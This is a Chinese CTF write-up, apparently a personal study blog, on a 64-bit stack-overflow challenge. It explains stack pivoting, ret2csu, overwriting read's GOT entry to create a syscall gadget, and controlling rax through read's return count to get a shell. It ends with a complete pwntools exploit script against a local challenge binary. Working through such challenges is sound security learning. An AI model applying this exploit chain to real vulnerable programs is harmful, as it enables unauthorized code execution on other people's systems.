​ 近期都很忙,突发奇想在二进制✌()的引导下想完成这一道所谓的中等题😊😊😊(在这之前补充一下,聊到了凌晨 4 点,现在身心俱疲。

此前一直做一些简单的板子题度日,堆只看不碰,栈只挑简单的做,真的可恶啊!

07-15:tips

本题主要是允许栈迁移,允许利用 read 语句多次写入,因此构成了任意写和任意 rop 执行。

本题的难点在于

1. 没有 pop rdi 用 csu 解决。

2. 没有 syscall,通过改写 read 的 got 表为附近的指令的来构造 syscall。

3.rax 控制,通过 read 读入的实际大小返回值为 rax 构造。

因此本题的思路,任意写布置 rop,修改 got 表,然后执行 rop,getshell。

# 1.read 原程序

image-20231117102300363 image-20231117102325207

​ 只有一个 read,明显栈溢出,至于怎么溢出,额,待会细琐。当然这里一眼看过去,shellcode 是最好想到的啊,我们简单看看保护和 vmmap 看看有没有

image-20231117103156728

行高亮
1
2
3
4
5
6
7
解释
64位程序,小端序
开启部分RELRO-----got表仍可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行 其实这里没必要看vmmap了,算了熟悉一下指令吧
未开启PIE-----程序地址为真实地址
动态链接

​ 显然,这里没有像静态链接程序固定带有的 mprotect 函数,可以去修改内存页的权限为 rwxp,(再调用 read 函数将 pwntools 生成的 shellcode 代码注入到 addr 中,之后再将 read 函数返回地址写为 addr 地址,调用 shellcode,获得 shell),而且就算可以改,也没办法泄露 addr,这个想法被 pass 了。

# 2. 一个可行的 idea - 拓展到栈上的 ret2dl

以前只是见过,今天来实操一下。😋,当然 t1d 说这个题用它做不出来。

# ret2dl 介绍

​ 对于 NO RELRO 的情况,我们可以利用 read 函数修改 .dynamic 段中的 .dynstr 节的地址,将其修改为我们可控制的地址。然后我们可以在这个地址上构造一个伪造的 fake_dynstr ,将其中的某个字符串替换为 system 函数的字符串。

​ 接下来,我们可以调用 .dl_fixup 函数,它会解析我们修改的字符串所对应的原函数。 _dl_fixup 函数根据字符串(也就是函数名)来索引函数,因此最终会解析 system 函数。

​ 无论是 32 位还是 64 位,实现这个过程都相对简单。具体步骤如下:

行高亮
1
2
3
4
找到.dynamic段并获取.dynstr节的地址(STRTAB的d_ptr)。
使用read函数将.dynstr的地址修改为我们可控制的地址。
在可控制的地址上构造一个fake_dynstr,将其中的某个字符串替换为system函数的字符串。
调用.dl_fixup函数,它会解析我们修改的字符串所对应的原函数,即system函数。

注:如果是 FULL RELERO ,程序在运行之前就已经调用了 ld.so 将所需的外部函数加载完成,程序运行期间不进行动态加载,因此,在程序的 got 表中, link_mapdl_runtime_resolve 函数的地址都为 0

可以参考:【精选】ret2dlresolve 超详细教程 (x86&x64)-CSDN 博客

# 本题的具体实践

​ 显然,除了上述方法中通过调用 system("/bin/sh") 和打 one_gadgetgetshell 以外,还有一种常见方式就是通过触发 syscall 软中断来 getshell,然而,本题的 ELF 源文件中并没有 syscall 这个 gadget ,并且,我们又无法泄露 libc 信息,用 libc 中的 syscall ,因此,我们需要想办法创造出 syscall 这个 gadget。

​ 在 t1d 的指引下,我去回顾了一遍 read,write 这些函数。参考文章:ctf 中关于 syscall 系统调用的简单分析 - 知乎 (zhihu.com)

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
read():
ssize_t read(int fd,const void *buf,size_t nbytes);
//fd 为要读取的文件的描述符 0
//buf 为要读取的数据的缓冲区地址
//nbytes 为要读取的数据的字节数

//read() 函数会从 fd 文件中读取 nbytes 个字节并保存到缓冲区 buf,
//成功则返回读取到的字节数(但遇到文件结尾则返回0),失败则返回 -1。

write()
ssize_t write(int fd,const void *buf,size_t nbytes);
//fd 为要写入的文件的描述符 1
//buf 为要写入的数据的缓冲区地址
//nbytes 为要写入的数据的字节数

//write() 函数会将缓冲区 buf 中的 nbytes 个字节写入文件 fd,
//成功则返回写入的字节数,失败则返回 -1。

​ 其实,在 libc 中,read,write,close,alarm 等等这些函数只是对系统调用进行了简单的封装,在这些函数中都存在 syscall 这个 gadget,且 syscall 一般离函数的开始地址都很近,故可以将这些函数的 got 表改为 syscall 的地址,从而触发系统调用。

同样我们可以具体看看 ida 里面 read 的汇编:本题的不知道为啥没显示 syscall,显示的是 call😋,下面是博客里的,看着更清晰一点。

image-20231117110943517

行高亮
1
2
3
4
5
将read的系统调用号 0 赋值给 rax
将 read的第一个参数0 (fd) 赋值给了 rdi
将 read的第二个参数 buf 赋值给了 rsi
将 read的第二个参数 buf 赋值给了 rdx
即系统调用了 read(0,&buf,0x400)

​ 😋, 要是所有题目都可以直接去把 read 的 got 表改成 syscall,再修改参数执行就好了()

​ 好了,我们知道,在 64 位中,要想成功 getshell,需要控制的寄存器如下:

行高亮
1
2
3
4
5
rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
syscall

​ 因此针对本题的思路如下:

​ 我们可以用 ret2csu 先改写 read 的 got 表为 syscall 的地址,有了 syscall 后,再由 read 读入的字节数控制 rax 寄存器(同时读入 /bin/sh 字符串),并用 ret2csu 控制 rdi,rsi,rdx 三个参数,最后调用触发 syscall 即可。t1d 说的大致相同,那我先去实搓了,回来接着写,万一还有坑,做不出来就是🤡了。

2023-11-17 10:53:07


2023-11-18 19:31:07

# 3. 小丑归来🤡

本题目的难点在栈迁,,,,(对我这个菜🐕来说)

​ 断断续续鏖战 1 天,在师傅的敲打下,该碰的坑都碰,先总结得失:

1. 做题要动态调试,一下午可能跑了两三次吧,画表格布栈、打草稿,等等,这些都不如动调来的快

2. 栈迁移的技巧:直接把返回地址写成 read 的 lea rax, [rbp+buf] ,把 rbp 改成想迁移到的地址,这个地址有考究,待会认真说。

3. 巧妙利用 read 实现任意写,布链子。

待会说,自闭了,板子题只是基础,要多见新题,基础打牢,多调题目。

整体来说,对这个 “简单” 的做法还是存在一些疑惑,等弄懂了回来更新。

# 1)栈迁移

一些学习的博客:

栈迁移的原理 && 实战运用 - ZikH26 - 博客园 (cnblogs.com)

哎,少看,多实践

针对本题具体的是迁移到 read 的虚拟栈,em,还要再学习一下回来具体补充

# 2)ROP 链

像 ret2syscall 一样,直接调用 read_plt

# 3)用 csu 改 got

当然这里是和 4 结合在一起的,用 read 控制输入为 0x3b 调节 rax 实现改 got 同时调用 syscall 的作用

# 4.exp

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#seccomp-tools dump ./pwn.pwn看哪些被禁用了
#栈劫持就是先讨论main函数里的栈迁移,首先利用溢出把ebp的内容给修改掉(修改成我们要迁移的那个地址)
#并且把返回地址填充成leave;ret指令的地址(因为我们需要两次leave;ret)
#execve:59号系统调用 execve("/bin/sh",0,0) r12中填入exceve的地址,其余寄存器置0。
#希望控制寄存器为:
#rax = 0x3b syscall
#rdi = bin_sh_addr
#rsi = 0
#rdx = 0
#syscall

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process("./pwn.pwn")
elf = ELF("./pwn.pwn")

#ret2csu的两个gadget
#loc_4011B6: pop_rbx_addr
gadget1_addr = 0x4011ba
#loc_4011A0: mov_rdx_r14_addr
gadget2_addr = 0x4011A0

read_plt = elf.plt['read']
read_got = elf.got['read']


#定义利用csu的通用gadget函数
#rdi,rsi,rdx
def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
# csu = pop_rbx_addr , rbx , rbp , r12 , r13 , r14 , r15 , mov_rdx_r14_addr 56个对应那几个pop
return payload

gdb.attach(p)
pause()
#1核心是两次leave_ret
#迁移栈:到read的虚拟栈
#ret
ret = 0x4040c0+0xa0
#leave_ret
#read的jmp指令地址
leave_ret = 0x401132
#rbp放回去的地址
payload = b'a'*0xa0 #覆盖到返回地址
payload += p64(ret) + p64(leave_ret)
p.send(payload)

pause()

#2ROP链条
#调用syscall
pop_rsi_r15=0x4011c1
#参数1的地址0x404200
#参数2:0
#调用修改后的read->syscall
payload = p64(pop_rsi_r15)+p64(0x404200)+p64(0)+p64(read_plt)

#3调用read修改got表 0x404200->binsh 0 0
payload += com_gadget(gadget1_addr, gadget2_addr, read_got, 0x404200,0,0)

#栈迁到read_got的位置并执行leave_ret->read
payload = payload.ljust(0xa0, b'a')+ p64(read_got+0xa0) + p64(leave_ret)

p.send(payload)
pause()

#4.控制read的读入字节控制rax,实现syscall

p.send(b'\xd0')
p.send(b'/bin/sh\x00' + b'a'*(0x3b-8))
p.interactive()

# 5. 更新

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

4riH04X 微信支付

微信支付